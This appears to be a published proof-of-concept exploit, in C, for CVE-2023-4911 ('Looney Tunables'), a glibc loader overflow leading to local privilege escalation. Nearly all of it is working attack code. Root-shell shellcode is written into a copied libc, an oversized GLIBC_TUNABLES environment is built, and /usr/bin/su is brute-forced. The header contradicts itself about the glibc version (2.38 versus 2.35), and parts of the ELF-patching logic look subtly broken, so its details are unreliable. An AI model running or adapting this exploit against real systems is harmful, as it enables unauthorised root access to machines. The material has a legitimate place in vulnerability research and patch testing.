# Exploit Title: glibc 2.38 - Buffer Overflow
# Google Dork: N/A
# Date: 2025-10-08
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://www.gnu.org/software/libc/
# Software Link: https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz
# Version: glibc 2.35 (specifically 2.35-0ubuntu3.3 on Ubuntu 22.04.3 LTS)
# Tested on: Ubuntu 22.04.3 LTS (glibc 2.35-0ubuntu3.3)
# CVE : CVE-2023-4911
# Description:
Looney Tunables - glibc GLIBC_TUNABLES Environment Variable Buffer Overflow
# This is a local privilege escalation exploit for CVE-2023-4911, also known as
# "Looney Tunables", caused by a buffer overflow in the glibc dynamic loader's
# environment variable parsing logic. The vulnerability is triggered by crafting
# a maliciously long GLIBC_TUNABLES string which corrupts internal loader state,
# allowing control over DT_RPATH and arbitrary shared object loading.
#
# This PoC creates a patched version of libc.so.6 with embedded shellcode and
# abuses the loader to execute arbitrary code as root by invoking /usr/bin/su
# with a malicious environment.
#
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <elf.h>
#define FILL_SIZE 0xd00
#define BOF_SIZE 0x600
#define MAX_ENVP 0x1000
// shellcode generado con pwntools
const unsigned char shellcode[] = {
0x48, 0x31, 0xff, // xor rdi,rdi
0x6a, 0x69, // push 0x69 ; syscall setuid
0x58, // pop rax
0x0f, 0x05, // syscall
0x48, 0x31, 0xff, // xor rdi,rdi
0x6a, 0x6a, // push 0x6a ; syscall setgid
0x58, // pop rax
0x0f, 0x05, // syscall
0x48, 0x31, 0xd2, // xor rdx, rdx
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e,
0x2f, 0x73, 0x68, 0x00, // mov rbx, "/bin/sh"
0x53, // push rbx
0x48, 0x89, 0xe7, // mov rdi, rsp
0x50, // push rax
0x57, // push rdi
0x48, 0x89, 0xe6, // mov rsi, rsp
0xb0, 0x3b, // mov al, 0x3b
0x0f, 0x05 // syscall
};
int64_t time_us() {
struct timespec tms;
if (clock_gettime(CLOCK_REALTIME, &tms)) return -1;
int64_t micros = tms.tv_sec * 1000000;
micros += tms.tv_nsec / 1000;
if (tms.tv_nsec % 1000 >= 500) ++micros;
return micros;
}
void patch_libc() {
FILE *f = fopen("/lib/x86_64-linux-gnu/libc.so.6", "rb");
if (!f) { perror("fopen"); exit(1); }
fseek(f, 0, SEEK_END);
long size = ftell(f);
rewind(f);
unsigned char *data = malloc(size);
if (fread(data, 1, size, f) != size) {
perror("fread");
exit(1);
}
fclose(f);
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;
Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff);
Elf64_Sym *symtab = NULL;
char *strtab = NULL;
for (int i = 0; i < ehdr->e_shnum; ++i) {
if (shdr[i].sh_type == SHT_SYMTAB) {
symtab = (Elf64_Sym *)(data + shdr[i].sh_offset);
strtab = (char *)(data + shdr[shdr[i].sh_link].sh_offset);
break;
}
}
if (!symtab || !strtab) {
fprintf(stderr, "[-] Failed to find symtab\n");
exit(1);
}
Elf64_Addr target_addr = 0;
for (int i = 0; i < shdr->sh_size / sizeof(Elf64_Sym); ++i) {
if (strcmp(&strtab[symtab[i].st_name], "__libc_start_main") == 0) {
target_addr = symtab[i].st_value;
break;
}
}
if (!target_addr) {
fprintf(stderr, "[-] Could not find __libc_start_main\n");
exit(1);
}
// patch shellcode at the symbol location
memcpy(data + target_addr, shellcode, sizeof(shellcode));
f = fopen("./libc.so.6", "wb");
if (!f) { perror("fopen (write)"); exit(1); }
fwrite(data, 1, size, f);
fclose(f);
free(data);
printf("[+] Patched libc.so.6 written.\n");
}
int main(void) {
char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000];
char *argv[] = {"/usr/bin/su", "--help", NULL};
char *envp[MAX_ENVP] = { NULL };
// Create directory and patched libc if not present
if (mkdir("\"", 0755) == 0) {
patch_libc();
int sfd = open("./libc.so.6", O_RDONLY);
int dfd = open("\"/libc.so.6", O_CREAT | O_WRONLY, 0755);
char buf[0x1000];
int len;
while ((len = read(sfd, buf, sizeof(buf))) > 0) {
write(dfd, buf, len);
}
close(sfd); close(dfd);
}
memset(filler, 'F', sizeof(filler)); filler[sizeof(filler)-1] = '\0';
strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
memset(kv, 'A', sizeof(kv)); kv[sizeof(kv)-1] = '\0';
strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
memset(filler2, 'F', sizeof(filler2)); filler2[sizeof(filler2)-1] = '\0';
strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = 0; i < MAX_ENVP; i++) envp[i] = "";
envp[0] = filler;
envp[1] = kv;
envp[0x65] = "";
envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f";
envp[0xf7f] = filler2;
for (int i = 0; i < sizeof(dt_rpath); i += 8) {
*(uintptr_t *)(dt_rpath + i) = -0x14ULL;
}
dt_rpath[sizeof(dt_rpath) - 1] = '\0';
for (int i = 0; i < 0x2f; i++) {
envp[0xf80 + i] = dt_rpath;
}
envp[0xffe] = "AAAA";
setrlimit(RLIMIT_STACK, &(struct rlimit){RLIM_INFINITY, RLIM_INFINITY});
int pid;
for (int ct = 1;; ct++) {
if (ct % 100 == 0) printf("try %d\n", ct);
if ((pid = fork()) < 0) {
perror("fork"); break;
} else if (pid == 0) {
execve(argv[0], argv, envp);
perror("execve (child)"); exit(1);
} else {
int wstatus;
int64_t st = time_us(), en;
wait(&wstatus);
en = time_us();
if (!WIFSIGNALED(wstatus) && en - st > 1000000) {
printf("[+] Exploit likely succeeded!\n");
break;
}
}
}
return 0;
}